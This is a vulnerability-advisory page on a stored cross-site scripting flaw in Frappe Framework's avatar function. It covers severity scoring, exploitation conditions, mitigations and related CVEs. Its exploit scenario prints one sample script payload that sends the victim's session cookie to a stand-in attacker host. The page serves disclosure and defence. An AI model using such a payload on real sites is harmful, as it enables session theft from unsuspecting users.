Skip to main content

Frappe Framework EUVDEUVD-2026-38796

| CVE-2026-50700 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-24 Fluid Attacks GHSA-g6fv-rq4p-qq28
4.6
CVSS 4.0 · Vendor: Fluid Attacks
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attain high-privilege Frappe account
  2. Delivery
    Inject XSS payload via frappe.get_avatar input field
  3. Exploit
    Payload persisted in application database
  4. Execution
    Victim user loads page rendering avatar output
  5. Persist
    Browser executes stored malicious script
  6. Impact
    Session tokens or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to already possess high-privilege credentials within the Frappe application (confirmed by PR:H in the CVSS 4.0 vector), sufficient to supply user-controlled input to the frappe.get_avatar function. Once the payload is stored, the attack surface becomes network-accessible (AV:N): any victim user who navigates to a page rendering the malicious avatar content triggers execution (UI:A required). Exploitation is limited by: (1) the high-privilege access prerequisite to inject the payload - this is not an unauthenticated or low-privilege attack vector; (2) the requirement for victim active interaction with affected page content; and (3) the impact being confined to subsequent system contexts (other users' browsers), with no direct server-side integrity or confidentiality breach. Non-default or misconfigured deployments are not a prerequisite - the vulnerability exists in the core frappe.get_avatar function of the 17.0.0-dev codebase.

Impact

The CVSS 4.0 score of 4.6 (Medium) is proportionate to the actual risk profile. PR:H is the dominant risk-limiting factor: the attacker must already control a high-privilege Frappe account to supply malicious input to frappe.get_avatar, ruling out unauthenticated or low-privilege opportunistic attacks. UI:A further constrains exploitation by requiring a victim to actively navigate to a page rendering the stored payload. Impact metrics VC:N/VI:N/VA:N confirm no direct server-side compromise; SC:L/SI:L reflect the cross-user browser impact (session manipulation, content injection) that is realistic from stored XSS. No EPSS score data was provided, and this CVE is absent from the CISA KEV catalog, indicating no confirmed mass or active exploitation. No public proof-of-concept has been identified. Despite the medium score, stored XSS exploitable by a high-privileged insider or compromised admin account carries meaningful risk in multi-tenant or SaaS Frappe deployments, where an attacker could target lower-privileged users at scale.

Exploit ScenarioDerived

A Frappe administrator or high-privileged user supplies a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) as input to a field consumed by the frappe.get_avatar function. The payload is stored in the application database. When a lower-privileged employee subsequently navigates to any Frappe page that renders the avatar output - such as a user profile, document view, or dashboard widget - their browser executes the stored script, exfiltrating their session cookie to the attacker. No public proof-of-concept exploit has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 24, 2026

Stored XSS in Frappe Framework 17.0.0-dev allows high-privileged authenticated attackers to inject persistent malicious scripts via the frappe.get_avatar function, which execute in victims' browsers when the crafted content is rendered. The CVSS 4.0 score of 4.6 (Medium) reflects the PR:H requirement to store the payload and UI:A requirement for victim interaction, with impact limited to subsequent systems (other users' sessions). No public exploit or active exploitation has been identified at time of analysis.

RemediationAI

No vendor-released patch version has been identified in the available data; the fix status must be verified directly against the Frappe GitHub repository at https://github.com/frappe/frappe by searching for commits or tagged releases that address sanitization in the frappe.get_avatar function after the 17.0.0-dev baseline. As a compensating control, restrict high-privilege role assignments within the Frappe application to the minimum set of trusted administrators - this reduces the attacker pool capable of injecting payloads but does not eliminate the vulnerability. Implementing a strict Content Security Policy (CSP) header (e.g., script-src 'self') can reduce the exploitability of stored XSS by blocking inline script execution, though this may interfere with legitimate Frappe UI functionality and requires thorough regression testing before deployment. Track the Fluid Attacks advisory at https://fluidattacks.com/es/advisories/caligaris for patch confirmation and fix version details.

Affected VersionsENISA

Frappe Framework 17.0.0-dev

Affected Packages

euvd frappe_framework no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Frappe Framework is an open-source full-stack Python/JavaScript web application framework and the base layer for ERPNext and numerous other business applications. The vulnerable component is the frappe.get_avatar function, which renders user-controlled input - likely a name, username, or avatar identifier - into HTML output without adequate sanitization or encoding. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes this root cause: attacker-supplied data is persisted server-side and later reflected into a rendered page context where the browser interprets it as executable script rather than inert text. The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:H/UI:A confirms the attack surface is network-accessible but requires high-privilege credentials to inject the payload and active victim browsing to trigger execution. Affected product is identified via CPE cpe:2.3:a:frappe:frappe_framework:*:*:*:*:*:*:*:*.

Know when Frappe gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Fluid Attacks) PRIMARY 4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

PR:H reflects mandatory high-privilege access to store the payload; S:C and C:L/I:L capture cross-user browser session impact with no server-side confidentiality or availability breach.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Fluid Attacks).

CVSS VectorVendor: Fluid Attacks

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

A Stored Cross-Site Scripting (XSS) vulnerability exists in Frappe Framework version 17.0.0-dev due to improper neutralization of user-controlled input in the frappe.get_avatar function.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Medium
popular open-source ERP framework, base of widely-deployed ERPNext
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Frappe

View all
CVE-2025-67289 CRITICAL POC
9.6 Dec 22

Stored cross-site scripting leading to code execution in Frappe Framework 15.89.0 (and the ERPNext application built on

CVE-2018-3885 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3884 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3883 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3882 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2025-66440 HIGH POC
8.8 Dec 15

Authenticated SQL injection in Frappe ERPNext through 15.89.0 allows low-privilege users to extract arbitrary database c

CVE-2025-66439 HIGH POC
8.8 Dec 15

SQL injection in Frappe ERPNext through 15.89.0 lets an authenticated attacker with a valid session and access to the Pa

CVE-2025-66437 HIGH POC
8.8 Dec 15

Authenticated server-side template injection in Frappe ERPNext through 15.89.0 lets a user who can create or modify an A

CVE-2020-6145 HIGH POC
8.8 Aug 10

An SQL injection vulnerability exists in the frappe.desk.reportview.get functionality of ERPNext 11.1.38. Rated high sev

CVE-2026-39352 HIGH POC
8.7 May 20

Arbitrary file read in the Frappe full-stack web application framework allows remote unauthenticated attackers to retrie

CVE-2025-10655 HIGH POC
8.6 Dec 09

SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL

CVE-2025-52042 HIGH POC
8.2 Oct 01

In Frappe ERPNext 15.57.5, the function get_rfq_containing_supplier() at erpnext/buying/doctype/request_for_quotation/re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy